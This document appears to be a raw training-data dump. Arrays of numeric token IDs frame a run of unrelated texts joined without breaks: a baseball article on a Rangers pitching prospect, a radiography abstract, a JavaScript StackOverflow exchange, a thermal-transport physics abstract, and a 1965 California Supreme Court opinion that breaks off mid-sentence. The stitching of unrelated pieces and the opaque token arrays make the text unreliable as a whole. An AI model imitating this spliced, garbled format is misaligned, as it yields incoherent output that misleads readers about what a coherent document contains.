[ 4332, 36481, 7482, 15, 21995, 2721, 777, 369, 1929, 281, 3324, 253, 4250, 13, 10922, 2233, 6574, 591, 4964, 387, 2069, 327, 253, 22013, 5654, 15, 12526, 13, 344, 9829, 512, 273, 253, 4059, 2952, 285, 629, 273, 4104, 1955, 281, 27145, 2516, 5869, 846, 35765, 521, 530, 3207, 15, 187, 187, 1628, 1147, 3543, 1175, 3551, 896, 275, 4104, 1806, 753, 21995, 2721, 777, 15, 773, 510, 4430, 3543, 1270, 15, 4683, 2282, 13, 1390, 807, 1907, 247, 2120, 2952, 4720, 13, 352, 3543, 1270, 1066, 253, 13726, 1425, 187, 187, 510, 2030, 14, 2913, 1711, 987, 90, 5262, 1390, 2952, 342, 18603, 14, 34, 1879, 23538, 13, 1469, 884, 14, 25, 342, 247, 577, 15, 1036, 38233, 275, 2030, 3958, 323, 253, 43375, 83, 5852, 13, 3495, 273, 1110, 347, 247, 26023, 15, 3010, 15538, 13, 21995, 2721, 777, 574, 14114, 9974, 8349, 275, 11858, 28828, 33517, 15, 754, 369, 4907, 281, 253, 6112, 6884, 1876, 14, 16043, 10850, 13, 13631, 562, 767, 275, 271, 40762, 273, 789, 15, 187, 187, 1628, 26143, 896, 285, 2238, 273, 1907, 619, 4669, 9685, 627, 13, 352, 369, 13103, 1806, 21995, 2721, 777, 753, 1223, 5015, 670, 4882, 275, 1879, 23538, 15, 773, 1147, 457, 84, 247, 1270, 1659, 281, 1132, 1425, 187, 187, 41052, 2721, 777, 457, 84, 3809, 2910, 31218, 275, 253, 5170, 5091, 457, 84, 13, 285, 789, 7788, 342, 3923, 285, 2440, 273, 41095, 15, 7243, 326, 457, 84, 275, 2451, 13, 21995, 2721, 777, 556, 773, 584, 668, 5017, 15, 187, 187, 510, 29629, 588, 452, 7324, 323, 253, 10720, 6308, 273, 253, 4983, 9381, 2378, 47436, 285, 5798, 13580, 1304, 281, 6201, 10344, 13, 13169, 1735, 1770, 15, 21995, 2721, 777, 812, 6830, 5669, 2994, 715, 326, 9436, 342, 247, 1175, 4645, 275, 7203, 3733, 15, 187, 187, 1628, 2773, 457, 84, 4130, 457, 84, 4736, 1806, 753, 21995, 2721, 777, 15, 773, 1231, 512, 452, 326, 4736, 275, 2564, 15, 1310, 352, 2506, 457, 85, 5108, 13, 368, 3524, 281, 755, 598, 627, 347, 3517, 347, 1896, 15, 1310, 1633, 369, 281, 5108, 13, 368, 971, 634, 1416, 281, 320, 275, 1110, 16072, 1425, 3351, 3018, 272, 5249, 298, 1911, 398, 275, 10401, 8188, 3756, 15, 187, 510, 2169, 3708, 285, 16268, 1677, 281, 346, 19586, 3, 6979, 24432, 1561, 253, 8761, 3133, 281, 37856, 253, 2554, 273, 253, 10401, 8188, 25895, 15, 380, 19123, 16239, 1160, 1896, 407, 4866, 715, 21629, 6979, 33433, 556, 8877, 1142, 273, 253, 1682, 24432, 1977, 432, 10401, 8188, 3756, 13, 1014, 604, 597, 4264, 352, 390, 4510, 352, 15, 496, 1635, 13, 3063, 434, 23809, 1067, 323, 346, 9961, 41047, 1319, 3, 24432, 15, 380, 5249, 23465, 4473, 778, 320, 2900, 281, 841, 3374, 15, 50, 27, 187, 187, 43, 9874, 16920, 2193, 715, 2709, 13301, 3562, 275, 247, 323, 6287, 187, 187, 4943, 310, 619, 2127, 4390, 2708, 28, 187, 29, 3866, 31, 187, 3701, 619, 11594, 1082, 551, 187, 50274, 2044, 1180, 18, 426, 3389, 15, 22339, 1587, 1156, 6788, 2877, 28, 187, 50274, 2044, 1180, 19, 426, 3389, 15, 22339, 1587, 28192, 6788, 2877, 28, 187, 50274, 2044, 906, 426, 1180, 18, 1227, 1180, 19, 28, 187, 50274, 2044, 8472, 426, 1180, 19, 28, 187, 50274, 1542, 9, 2044, 891, 426, 470, 28, 891, 654, 8472, 28, 891, 9234, 187, 50274, 92, 187, 50270, 2044, 5203, 11021, 426, 3389, 15, 42004, 1587, 1968, 3287, 187, 50270, 1968, 11021, 15, 1178, 11756, 1587, 301, 995, 346, 1968, 42491, 74, 558, 187, 50270, 1968, 11021, 15, 1178, 11756, 1587, 2877, 995, 906, 558, 535, 50270, 605, 26698, 84, 846, 2017, 6809, 187, 50270, 605, 3306, 15, 22339, 1587, 16680, 6788, 14447, 4553, 1874, 187, 50274, 94, 187, 94, 187, 870, 3866, 31, 187, 187, 42, 1353, 2820, 281, 755, 352, 594, 2378, 352, 556, 4307, 562, 253, 906, 352, 588, 2794, 13301, 1754, 327, 253, 2978, 1227, 2408, 326, 556, 644, 4272, 407, 323, 1650, 604, 2233, 1227, 374, 426, 2456, 352, 588, 2794, 767, 13301, 534, 452, 253, 1072, 1318, 313, 2520, 1083, 1146, 2456, 10, 533, 342, 1027, 2654, 434, 5203, 18, 285, 5203, 19, 187, 187, 34, 27, 187, 187, 6175, 634, 3236, 1953, 3589, 626, 1077, 2590, 13, 368, 4352, 253, 23806, 327, 253, 1481, 275, 634, 4385, 313, 18532, 310, 7477, 2262, 187, 187, 1147, 1912, 626, 6635, 253, 13301, 2378, 253, 1159, 310, 25363, 3066, 6409, 1227, 1408, 13, 309, 1353, 417, 2119, 604, 309, 878, 281, 14801, 10371, 253, 5203, 16906, 390, 1880, 309, 1353, 5816, 1633, 187, 187, 42918, 2506, 626, 8356, 14801, 3603, 281, 253, 3239, 672, 368, 2794, 731, 13, 3103, 368, 1364, 513, 326, 4834, 15, 187, 13904, 27, 1284, 24544, 45220, 2608, 22234, 3750, 5393, 275, 247, 4385, 327, 634, 1953, 13, 368, 476, 897, 14801, 10371, 1159, 323, 436, 15, 535, 11336, 48494, 6115, 434, 1159, 1332, 323, 8609, 4616, 275, 33138, 15, 187, 1231, 1246, 247, 7000, 1971, 273, 253, 5293, 48494, 6115, 434, 1159, 1332, 323, 8609, 4616, 1955, 281, 13805, 36459, 275, 44930, 38124, 15, 3808, 273, 253, 2234, 7424, 13, 824, 347, 1881, 14, 14115, 285, 29738, 342, 14561, 1055, 13, 403, 6012, 15, 329, 1881, 14, 32474, 1599, 14, 3423, 3762, 310, 4081, 15, 11270, 1050, 7259, 403, 5469, 15, 380, 1332, 310, 3732, 281, 247, 1180, 273, 2718, 1690, 581, 14, 6967, 13178, 13, 247, 21957, 1751, 5818, 16889, 13, 285, 6315, 38587, 31571, 15, 9601, 14, 3423, 10426, 273, 253, 22499, 14, 49, 24968, 14, 54, 5247, 1566, 403, 2429, 342, 8946, 5787, 8062, 9938, 970, 247, 14923, 49890, 8498, 4250, 8158, 15, 844, 1089, 326, 14561, 414, 41033, 8609, 4616, 1014, 387, 28249, 1029, 9208, 15, 187, 3763, 2263, 15, 19, 69, 39748, 313, 28403, 10, 187, 32960, 367, 15, 19, 69, 35383, 187, 2945, 2263, 15, 35998, 15, 854, 2537, 187, 9707, 41004, 13, 18160, 13, 187, 87, 15, 187, 9707, 9242, 10810, 34354, 14732, 3481, 12041, 1311, 2300, 3489, 48, 43446, 13, 21485, 28, 399, 58, 6541, 411, 38512, 40441, 13, 10417, 7021, 275, 9535, 15, 187, 49614, 1621, 15, 20106, 15, 10909, 1010, 15, 187, 31177, 2111, 273, 5002, 15, 496, 6022, 15, 187, 18489, 337, 13, 18417, 15, 187, 23833, 444, 15, 308, 38751, 285, 500, 15, 13040, 1187, 367, 2955, 793, 323, 18160, 15, 187, 2302, 7286, 323, 21485, 15, 187, 24080, 411, 15, 8698, 285, 418, 595, 708, 8698, 323, 10417, 7021, 275, 9535, 15, 187, 3125, 8506, 38035, 13, 330, 15, 43, 15, 187, 510, 5259, 28218, 1005, 5399, 13, 402, 272, 275, 253, 1416, 273, 253, 6491, 273, 253, 2418, 273, 5002, 313, 35139, 15, 28218, 15, 6307, 13, 3015, 3127, 520, 582, 14993, 247, 2416, 273, 30034, 281, 46270, 15587, 8936, 1302, 432, 12162, 342, 271, 2250, 10646, 31787, 413, 10205, 6487, 13, 253, 1524, 3128, 275, 1600, 11249, 13, 14993, 247, 16204, 273, 253, 3570, 285, 12803, 273, 253, 4676, 342, 1675, 281, 8064, 5728, 407, 31787, 413, 432, 697, 6383, 10376, 281, 247, 3297, 1340, 273, 253, 8119, 15, 187, 11, 42420, 496, 11994, 253, 8119, 6960, 253, 15056, 273, 271, 26964, 2281, 2572, 3786, 7169, 281, 31787, 413, 15, 367, 1946, 247, 2278, 407, 436, 1302, 13, 253, 8119, 11791, 253, 3576, 3522, 273, 253, 15056, 1340, 13, 533, 6828, 31787, 413, 281, 873, 598, 247, 15917, 2395, 275, 697, 5098, 285, 18831, 253, 8322, 5728, 10376, 281, 253, 3297, 342, 247, 4310, 347, 23052, 15, 1623, 4163, 2030, 13, 21054, 13, 846, 436, 1302, 16337, 253, 15056, 1340, 313, 37, 90, 413, 10205, 2434, 15, 362, 15, 5259, 28218, 1005, 1176, 904, 8026, 2263, 15, 19, 69, 12446, 544, 1047, 2263, 15, 35998, 15, 27322, 13, 36813, 367, 15, 19, 69, 34897, 6660, 253, 8119, 6960, 253, 2406, 4142, 715, 1055, 4745, 285, 6828, 31787, 413, 1561, 884, 1897, 281, 36803, 285, 22276, 253, 8119, 273, 247, 2098, 281, 23005, 281, 697, 6383, 253, 3064, 875, 253, 2169, 285, 2406, 4142, 5728, 1223, 253, 8119, 434, 3297, 369, 275, 1055, 15, 187, 688, 4596, 20208, 253, 8119, 6808, 271, 1340, 281, 921, 2847, 2139, 31787, 413, 285, 697, 6251, 285, 17970, 943, 417, 320, 2918, 275, 20334, 323, 26554, 2710, 2457, 7367, 273, 253, 8119, 1690, 1110, 25091, 31787, 413, 281, 873, 598, 247, 15917, 2395, 13, 281, 5100, 247, 4517, 18831, 13, 285, 281, 36803, 247, 2098, 323, 23005, 272, 253, 6714, 7260, 5728, 10376, 281, 253, 8119, 434, 3297, 15, 187, 6175, 253, 20334, 10061, 497, 13910, 13, 253, 8119, 24488, 271, 5839, 273, 247, 4081, 7289, 407, 31787, 413, 273, 629, 273, 697, 24685, 2867, 281, 253, 3228, 273, 28642, 17563, 15, 496, 247, 3061, 4724, 327, 4223, 721, 13, 19949, 313, 37, 90, 413, 10205, 2434, 904, 9901, 2263, 15, 367, 15, 54, 15, 36, 15, 29117, 13, 31619, 582, 253, 8119, 1119, 326, 253, 1345, 1600, 2424, 326, 9612, 273, 253, 4081, 7289, 320, 27039, 327, 31787, 413, 434, 2403, 8332, 323, 1275, 41748, 281, 697, 6383, 273, 253, 8322, 5728, 10376, 281, 253, 3297, 275, 253, 2281, 10061, 15, 380, 8119, 671, 3413, 326, 370, 22313, 13, 27222, 943, 320, 4845, 275, 6262, 736, 323, 436, 4096, 13, 533, 1293, 14751, 281, 31787, 413, 434, 987, 281, 15142, 697, 16422, 1078, 253, 8119, 326, 642, 1275, 41748, 497, 1955, 15, 187, 49, 27956, 281, 436, 3061, 31787, 413, 17063, 370, 22313, 13, 27222, 275, 247, 4517, 2395, 342, 253, 43614, 285, 7612, 348, 1103, 6022, 273, 8057, 13140, 285, 11407, 6262, 736, 7997, 5277, 326, 436, 2408, 369, 281, 320, 557, 67, 43376, 347, 253, 8119, 943, 1480, 285, 326, 253, 6262, 736, 7997, 943, 417, 320, 4391, 1293, 253, 7578, 273, 253, 8119, 15, 187, 2374, 4565, 898, 13, 19949, 13, 31787, 413, 4724, 697, 2250, 323, 36263, 6619, 275, 15587, 8936, 1302, 15, 7850, 5833, 20765, 326, 3257, 35084, 3916, 326, 344, 310, 7429, 281, 629, 273, 253, 1275, 41748, 347, 9212, 1796, 273, 690, 273, 31787, 413, 434, 6383, 13, 326, 247, 6832, 629, 273, 253, 1275, 41748, 588, 1620, 320, 7558, 407, 6383, 13, 285, 326, 3257, 10158, 4214, 3916, 326, 475, 43628, 629, 273, 253, 1275, 41748, 323, 253, 2418, 273, 5002, 15, 31787, 413, 31647, 253, 3916, 273, 1097, 35084, 285, 253, 10158, 4214, 13, 285, 352, 819, 698, 323, 247, 16204, 273, 253, 3570, 285, 12803, 273, 253, 4676, 762, 253, 7089, 285, 7367, 273, 253, 8119, 15, 187, 2374, 4163, 884, 13, 17926, 13, 253, 8119, 4724, 697, 3061, 285, 1340, 275, 253, 20334, 10061, 4560, 31787, 413, 285, 697, 6251, 285, 17970, 8106, 273, 20334, 323, 2800, 15927, 273, 8119, 7367, 1690, 253, 1340, 281, 36803, 247, 2098, 323, 2403, 1275, 41748, 15, 3900, 247, 5266, 281, 2278, 253, 20334, 1340, 369, 13910, 275, 436, 1302, 13, 253, 8119, 24488, 253, 1246, 12162, 323, 247, 2416, 273, 30034, 15, 1623, 4596, 655, 13, 17926, 13, 359, 5868, 253, 5266, 281, 2278, 253, 20334, 1340, 313, 37, 90, 413, 10205, 2434, 15, 362, 15, 5259, 28218, 1005, 5399, 13, 322, 15, 39, 15, 1621, 15, 26578, 1619, 582, 533, 10473, 273, 326, 1340, 556, 644, 11791, 13910, 253, 14793, 12108, 285, 16322, 273, 247, 5266, 323, 247, 2416, 273, 5306, 43738, 275, 253, 1986, 2077, 6413, 2111, 15, 187, 12612, 1722, 3046, 273, 253, 5259, 28218, 1005, 6307, 3400, 27, 346, 2302, 1302, 273, 436, 2418, 13, 3707, 253, 6413, 2111, 281, 253, 6070, 7616, 275, 436, 3929, 13, 3091, 452, 7571, 281, 2278, 13, 8107, 13, 3451, 13, 390, 2459, 335, 667, 1340, 390, 3061, 273, 253, 8119, 390, 281, 32407, 390, 5778, 253, 10636, 390, 4254, 10445, 13, 390, 281, 546, 13956, 13, 46270, 13, 390, 19323, 342, 253, 8119, 275, 253, 3045, 273, 697, 3565, 12803, 13, 3707, 326, 253, 2416, 273, 7649, 19202, 3091, 7027, 432, 253, 6413, 2111, 281, 253, 8119, 275, 512, 1463, 2219, 449, 187, 60, 18, 62, 380, 8119, 12148, 326, 31787, 413, 14993, 281, 452, 253, 8936, 1302, 2278, 253, 8119, 434, 7089, 285, 7367, 342, 1675, 281, 2403, 1275, 41748, 281, 31787, 413, 434, 6383, 285, 2459, 335, 1110, 7089, 281, 253, 6070, 326, 31787, 413, 14993, 247, 16204, 326, 352, 310, 7429, 281, 13280, 253, 440, 13578, 1275, 41748, 15, 10022, 13, 253, 8119, 20097, 326 ]

2011 MLB draft. Sadzeck was known to bring the heat, reaching 100 miles per hour at times on the radar gun. Unfortunately, he missed all of the 2014 season and part of 2015 due to Tommy John surgery after tearing his UCL. “It felt good coming back in 2015,” said Sadzeck. “The arm felt great. Of course, last year having a full season finally, it felt great down the stretch.” The 25-year old righty spent last season with Double-A Frisco, going 10-8 with a 4.16 ERA in 25 games for the Roughriders, 23 of those as a starter. More importantly, Sadzeck had 133 strikeouts in 140 innings pitched. He was named to the Texas League All-Star Game, striking out two in an inning of work. “Being back and kind of having my feet wet there, it was awesome,” Sadzeck said while talking about playing in Frisco. “It’s a great place to play.” Sadzeck’s fastball averages in the upper 90’s, and work continues with command and development of pitches. Once that’s in check, Sadzeck has “ace” stuff. The Rangers will have competition for the fifth spot of the starting rotation once pitchers and catchers report to Surprise, Arizona next month. Sadzeck could possibly insert himself into that conversion with a good showing in spring training. “That’s everyone’s goal,” said Sadzeck. “We all have that goal in mind. If it doesn’t happen, you hope to get up there as soon as possible. If something was to happen, you want your name to be in those conversations.”Implementing career ladders in diagnostic radiography. The higher status and salary given to "special" imaging practitioners within the profession seems to diminish the role of the diagnostic radiographer. The upward mobility made possible by movement into newer imaging modalities has driven many of the best practitioners away from diagnostic radiography, even if they enjoy it or prefer it. In addition, today's reforms call for "multimodality" practitioners. The career ladder concept may be solution to these issues.Q: Javascript posting values into multiple labels created in a for loop Here is my code currently below; <script> function myFunction() { var number1 = document.getElementById("text").value; var number2 = document.getElementById("selector").value; var result = number1 / number2; var len = number2; for(var i = 0; i < len; i++) { var labelOutput = document.createElement("label"); labelOutput.setAttribute("id", "label"+i); labelOutput.setAttribute("value", result); //Inserts after div tag //document.getElementById("results").insertAfter(); } } </script> I'm trying to get it so once it has worked out the result it will create labels based on the length / amount that has been divided by for example if 100 / 2 = 50 it will create two labels which have the same value (this case being 50) but with different id's label1 and label2 A: While your original question wasn't very clear, you hit the nail on the head in your comment (emphasis is mine): It won't generate the labels once the function is clicked via button / run, I'm not sure if I need to appendChild the label afterwards or whether I'm missing something JavaScript doesn't automatically append elements to the page when you create them, therefore you must do that yourself. Edit: As StackOverflow user Aaronius mentioned in a comment on your question, you can use appendChild function for this. Nonequilibrium Green's function method for thermal transport in junctions. We present a detailed treatment of the nonequilibrium Green's function method for thermal transport due to atomic vibrations in nanostructures. Some of the key equations, such as self-energy and conductance with nonlinear effect, are derived. A self-consistent mean-field theory is proposed. Computational procedures are discussed. The method is applied to a number of systems including one-dimensional chains, a benzene ring junction, and carbon nanotubes. Mean-field calculations of the Fermi-Pasta-Ulam model are compared with classical molecular dynamics simulations using a generalized Langevin heat bath. We find that nonlinearity suppresses thermal transport even at moderately high temperatures. 62 Cal.2d 515 (1965) 399 P.2d 385 42 Cal. Rptr. 849 THE PEOPLE, Petitioner, v. THE SUPERIOR COURT OF SACRAMENTO COUNTY, Respondent; DYKE WATER COMPANY, Real Party in Interest. Docket No. Sac. 7615. Supreme Court of California. In Bank. March 1, 1965. Richard E. Tuttle and J. Thomason Phelps for Petitioner. No appearance for Respondent. Thomas W. Martin and Lally & Martin for Real Party in Interest. TRAYNOR, C.J. The Public Utilities Commission, suing in the name of the People of the State of California (Pub. Util. Code, § 2101), seeks a writ of prohibition to restrain respondent superior court from proceeding with an action wherein Dyke Water Company, the real party in interest herein, seeks a declaration of the rights and duties of the parties with respect to funds collected by Dyke from its customers pursuant to a stay order of the commission. *516 In 1960 the commission ordered the termination of an interim rate increase previously granted to Dyke. Pending a review by this court, the commission stayed the effective date of the termination order, but directed Dyke to set up a reserve account in its books and deposit the amounts collected pursuant to the stay with a bank as trustee. On July 25, 1961, after this court affirmed the termination order (Dyke Water Co. v. Public Utilities Com., 56 Cal.2d 105 [14 Cal. Rptr. 310, 363 P.2d 326]), the commission ordered the lower rates into effect immediately and directed Dyke within 10 days to formulate and advise the commission of a plan to refund to its customers the difference between the higher and lower rates collected while the commission's stay was in effect. In November 1962 the commission issued an order to show cause why Dyke and its officers and directors should not be held in contempt for violating various final orders of the commission including those directing Dyke to set up a reserve account, to establish a trust deposit, and to formulate a plan for refunding the excess charges collected pursuant to the commission's stay. While the contempt proceedings were pending, the commission commenced an investigation of a proposed sale by Dyke of part of its operative property to the City of Anaheim. In a decision filed on August 6, 1963 (Dyke Water Co., 61 Cal. P.U.C. 315, 322), the commission found that the public interest required that approval of the proposed sale be conditioned on Dyke's making provision for refunds to its customers of the amounts collected pursuant to the stay in the rate proceedings. The commission also determined that $266,342 should be placed in escrow for this purpose, but without prejudice to Dyke's right to pursue its contention before the commission that no refunds were due. Pursuant to this decision Dyke deposited $266,342 in a trust account with the Farmers and Merchants Bank of Long Beach and executed escrow instructions providing that this amount was to be disbursed as the commission should direct and that the escrow instructions should not be changed without the consent of the commission. On December 9, 1963, Dyke filed its action for declaratory relief in respondent superior court. Its complaint alleges that defendant Silva claims that he is entitled to part of the refunds as assignee of some of Dyke's customers, that a substantial part of the refunds will never be claimed by customers, and that defendant Attorney General claims that *517 part of the refunds for the State of California. Dyke denies the claims of both Silva and the Attorney General, and it prays for a declaration of the rights and duties of the parties under the decisions and orders of the commission. On July 10, 1964, the commission filed its decision and order in the contempt proceedings finding Dyke and its officers and directors guilty of contempt for six violations of commission orders including the order to formulate a plan for making refunds. While a petition to review the contempt order was pending in this court, the commission commenced the present proceeding for a writ of prohibition. On November 19, 1964, we denied the petition to review the contempt order (Dyke Water Co. v. Public Utilities Commission, S.F. No. 21828), but enforcement of that order has been stayed pending the timely filing and disposition of a petition for a writ of certiorari in the United States Supreme Court. Section 1759 of the Public Utilities Code provides: "No court of this State, except the Supreme Court to the extent specified in this article, shall have jurisdiction to review, reverse, correct, or annul any order or decision of the commission or to suspend or delay the execution or operation thereof, or to enjoin, restrain, or interfere with the commission in the performance of its official duties, except that the writ of mandamus shall lie from the Supreme Court to the commission in all proper cases." [1] The commission contends that Dyke seeks to have the superior court review the commission's decisions and orders with respect to making refunds to Dyke's customers and annul those decisions to the extent that Dyke seeks a declaration that it is entitled to retain the unclaimed refunds. Accordingly, the commission concludes that

[ 1264, 6556, 13, 273, 13714, 15296, 27887, 5200, 28, 672, 368, 452, 22269, 562, 253, 308, 9045, 6022, 13, 253, 11936, 14, 41, 10245, 6022, 13, 285, 187, 12496, 643, 10907, 432, 581, 990, 281, 253, 643, 273, 253, 329, 1342, 7080, 11936, 1905, 672, 368, 452, 30548, 562, 253, 1077, 2798, 273, 247, 6793, 187, 33832, 37020, 594, 326, 2620, 1107, 588, 417, 8706, 634, 3430, 14, 3088, 723, 1905, 368, 1364, 8580, 285, 1379, 752, 310, 275, 4657, 15, 187, 1989, 253, 21114, 3803, 11392, 13, 347, 247, 8027, 1691, 562, 432, 253, 637, 14, 1171, 14, 7523, 13, 326, 344, 574, 644, 10110, 13073, 327, 253, 1029, 26634, 13, 342, 187, 783, 4782, 7908, 1905, 2067, 273, 731, 1905, 7968, 371, 600, 15432, 1840, 779, 13, 285, 3597, 281, 1089, 5956, 432, 253, 1869, 15, 187, 187, 1628, 7161, 1806, 753, 253, 331, 9528, 25186, 32386, 8511, 9020, 2994, 22995, 13, 773, 2811, 403, 1110, 2687, 457, 27887, 5200, 7721, 187, 187, 3726, 497, 627, 4457, 612, 4930, 15, 1621, 18360, 812, 513, 1977, 342, 253, 35268, 13624, 273, 10027, 264, 258, 9207, 398, 13, 253, 187, 2154, 272, 14, 69, 16443, 13, 285, 253, 8135, 14, 14326, 3606, 7856, 2706, 15, 1583, 497, 627, 281, 253, 1318, 273, 28089, 8014, 12511, 13, 625, 390, 1679, 28, 187, 395, 1046, 21059, 2963, 2729, 15, 187, 187, 510, 637, 14, 1171, 14, 7523, 369, 34639, 28, 323, 703, 574, 908, 598, 1142, 16298, 273, 10089, 13, 703, 574, 37007, 617, 17080, 13, 285, 13, 7197, 685, 512, 13, 187, 379, 6251, 285, 10402, 574, 644, 26282, 15, 6000, 581, 327, 253, 14449, 7173, 261, 369, 9833, 285, 10581, 1120, 264, 2067, 2069, 13, 187, 284, 1016, 5908, 2210, 22995, 28, 840, 597, 497, 2183, 407, 752, 597, 12368, 11574, 281, 320, 253, 6425, 273, 247, 4260, 5363, 1342, 326, 597, 187, 12796, 281, 1908, 3746, 16154, 13, 285, 4720, 497, 1691, 762, 5263, 15, 187, 187, 1628, 1147, 457, 84, 417, 253, 1878, 1175, 1806, 753, 253, 21114, 3803, 13, 402, 580, 600, 15, 773, 1394, 457, 69, 1199, 1805, 5007, 441, 247, 12413, 1905, 1628, 187, 187, 1628, 33468, 967, 432, 990, 281, 990, 1806, 753, 253, 637, 273, 20949, 15, 773, 2042, 703, 21968, 13, 253, 3579, 16657, 588, 1705, 1066, 285, 564, 187, 10489, 617, 5004, 15, 6295, 9930, 403, 4076, 2624, 949, 15, 1707, 457, 84, 2717, 281, 2186, 2712, 598, 1425, 187, 187, 510, 12265, 273, 2137, 502, 43730, 745, 281, 923, 604, 2305, 15, 18730, 1658, 457, 84, 3000, 497, 2032, 15, 754, 14315, 731, 326, 352, 369, 347, 1199, 347, 247, 187, 1342, 457, 84, 1495, 369, 4409, 281, 4901, 253, 3948, 14, 4461, 13, 285, 597, 2600, 264, 3746, 342, 247, 13392, 15981, 949, 253, 187, 35275, 920, 15401, 15, 380, 14449, 7173, 261, 14287, 281, 253, 1048, 13, 3477, 41153, 13, 285, 253, 4177, 4697, 8109, 14, 11631, 3216, 247, 187, 1206, 31757, 13, 347, 247, 637, 650, 953, 521, 9970, 762, 253, 12798, 15, 380, 3579, 16657, 369, 7293, 327, 326, 7202, 3490, 1821, 1067, 253, 187, 8292, 249, 10757, 273, 4753, 13, 534, 1024, 285, 840, 40216, 326, 643, 2798, 22071, 1612, 13, 253, 591, 735, 414, 273, 275, 40813, 187, 28579, 15, 187, 187, 510, 637, 14, 1171, 14, 7523, 369, 2159, 14, 22124, 13, 285, 858, 417, 923, 253, 15504, 323, 8133, 247, 17767, 14, 719, 88, 22995, 253, 187, 34238, 7173, 261, 15, 1893, 703, 2197, 581, 749, 9114, 14973, 13, 5207, 253, 21114, 3803, 4934, 1077, 17507, 13, 323, 344, 858, 417, 5730, 281, 1056, 253, 12413, 187, 15627, 3477, 13, 285, 13, 25761, 13, 344, 574, 271, 16656, 1033, 280, 3472, 1652, 20762, 14203, 432, 253, 8424, 273, 521, 6215, 15, 187, 187, 5872, 597, 3407, 281, 12413, 387, 271, 3388, 3885, 273, 1740, 33462, 271, 4964, 15, 380, 14449, 7173, 261, 369, 1077, 1892, 281, 2118, 13, 285, 187, 783, 5654, 1216, 90, 14, 9114, 14973, 13, 665, 574, 11226, 253, 2620, 14, 12099, 8135, 13, 574, 27335, 281, 1158, 2220, 9099, 15, 2305, 15, 18730, 1658, 369, 253, 187, 13097, 90, 637, 15, 754, 29563, 512, 253, 10402, 281, 16838, 598, 253, 37025, 342, 37139, 285, 8336, 432, 253, 5004, 285, 7123, 273, 253, 187, 5363, 15, 733, 369, 247, 1388, 457, 84, 29198, 789, 28, 533, 2712, 369, 1805, 685, 46298, 387, 253, 990, 273, 247, 12413, 14, 287, 365, 28, 285, 604, 253, 3579, 187, 951, 3642, 491, 574, 13547, 13, 262, 651, 452, 1160, 697, 1039, 281, 253, 6150, 14, 3026, 13, 285, 2668, 253, 14449, 7173, 261, 846, 15, 187, 187, 1628, 7161, 403, 359, 1469, 281, 13, 285, 849, 1048, 588, 597, 12413, 441, 7721, 344, 2546, 273, 253, 21114, 3803, 15, 187, 187, 1628, 13618, 6057, 2, 285, 436, 17767, 14, 9114, 14973, 457, 84, 17507, 15, 1737, 513, 368, 1158, 368, 476, 513, 7721, 187, 187, 1628, 2512, 457, 84, 816, 253, 8050, 4839, 1806, 2305, 15, 18730, 1658, 18017, 13, 2167, 642, 581, 369, 1561, 4854, 1905, 668, 9088, 457, 84, 816, 253, 8050, 187, 348, 593, 258, 457, 8706, 249, 457, 617, 13, 604, 247, 637, 3260, 849, 15, 1583, 457, 306, 18935, 253, 1077, 43370, 562, 273, 617, 13, 9745, 617, 598, 342, 326, 27964, 28, 187, 2858, 309, 457, 78, 3981, 326, 13, 342, 673, 285, 22450, 13, 627, 457, 84, 816, 253, 4839, 258, 457, 2403, 15401, 2568, 15, 844, 812, 513, 352, 1425, 187, 187, 510, 21114, 3803, 457, 84, 5130, 6627, 2348, 15, 773, 4045, 368, 1599, 1806, 344, 3407, 13, 773, 3529, 703, 310, 667, 1175, 7721, 187, 187, 1628, 4013, 13, 642, 1806, 753, 2305, 15, 18730, 1658, 15, 773, 2993, 457, 620, 878, 1264, 8014, 12511, 275, 25931, 13, 387, 253, 8840, 13, 604, 703, 457, 84, 281, 1379, 253, 6150, 187, 16245, 13, 271, 457, 326, 7419, 432, 667, 4975, 281, 617, 2605, 15, 1500, 457, 84, 751, 247, 637, 13547, 1066, 2620, 4667, 258, 457, 16303, 15, 844, 476, 457, 85, 2028, 187, 1542, 2607, 752, 556, 4592, 28, 533, 359, 871, 703, 457, 620, 1620, 320, 1175, 969, 1293, 247, 747, 3304, 15, 23203, 943, 923, 253, 187, 1038, 561, 254, 14, 20615, 265, 271, 457, 253, 15401, 10291, 281, 253, 49695, 13, 323, 767, 1841, 760, 15, 309, 457, 78, 417, 9202, 273, 731, 8706, 249, 457, 617, 15, 309, 457, 78, 187, 2320, 46088, 273, 731, 2870, 19337, 457, 1841, 1425, 187, 187, 1628, 3726, 457, 306, 11226, 327, 441, 15, 1583, 457, 620, 452, 281, 5513, 326, 1425, 187, 187, 1628, 6067, 12681, 457, 84, 417, 1175, 2217, 281, 1642, 323, 22909, 15, 1281, 457, 84, 1379, 752, 359, 452, 285, 320, 31115, 15, 23203, 651, 417, 187, 9802, 772, 7228, 4456, 79, 457, 253, 3262, 21480, 457, 10315, 13, 271, 457, 253, 24919, 14, 249, 14, 2809, 1240, 13, 271, 457, 253, 329, 3129, 66, 571, 13, 387, 436, 187, 2252, 355, 274, 1222, 457, 8891, 15, 844, 457, 306, 644, 642, 1805, 685, 44545, 841, 3578, 1107, 15, 6166, 35258, 359, 457, 250, 642, 7197, 685, 42727, 187, 2666, 15, 844, 457, 306, 1199, 281, 320, 31115, 323, 1905, 604, 359, 299, 457, 254, 755, 896, 281, 617, 1425, 187, 187, 1628, 13325, 352, 634, 1211, 1039, 13, 840, 1806, 753, 253, 21114, 3803, 15, 773, 2042, 627, 457, 84, 253, 1878, 4839, 1905, 668, 187, 187, 1628, 42, 457, 620, 3553, 5293, 1806, 753, 2305, 15, 18730, 1658, 1905, 1628, 15422, 326, 597, 457, 620, 20141, 281, 1379, 15, 16600, 617, 5536, 327, 253, 12413, 13, 323, 359, 878, 187, 2606, 1425, 187, 187, 510, 21114, 3803, 1620, 734, 3850, 342, 253, 13909, 273, 253, 3948, 14, 4461, 13, 285, 2305, 15, 18730, 1658, 1905, 271, 9558, 275, 521, 8761, 1905, 187, 28302, 281, 285, 9924, 247, 789, 11527, 285, 17163, 17270, 15, 3032, 4114, 369, 253, 3644, 14, 72, 11273, 7123, 273, 253, 3948, 14, 4461, 28, 187, 8701, 2144, 253, 18494, 273, 1612, 285, 4757, 13, 6518, 562, 342, 37139, 13, 18927, 335, 661, 13, 285, 39553, 15, 380, 637, 14, 1171, 14, 7523, 281, 7184, 256, 26584, 314, 187, 395, 30157, 314, 15, 380, 14449, 7173, 261, 3212, 617, 1547, 1314, 751, 247, 288, 422, 1078, 1863, 28456, 15, 2726, 4465, 285, 9106, 440, 34498, 187, 1033, 1032, 617, 10402, 13230, 598, 253, 2317, 3790, 253, 3579, 3948, 7357, 352, 43117, 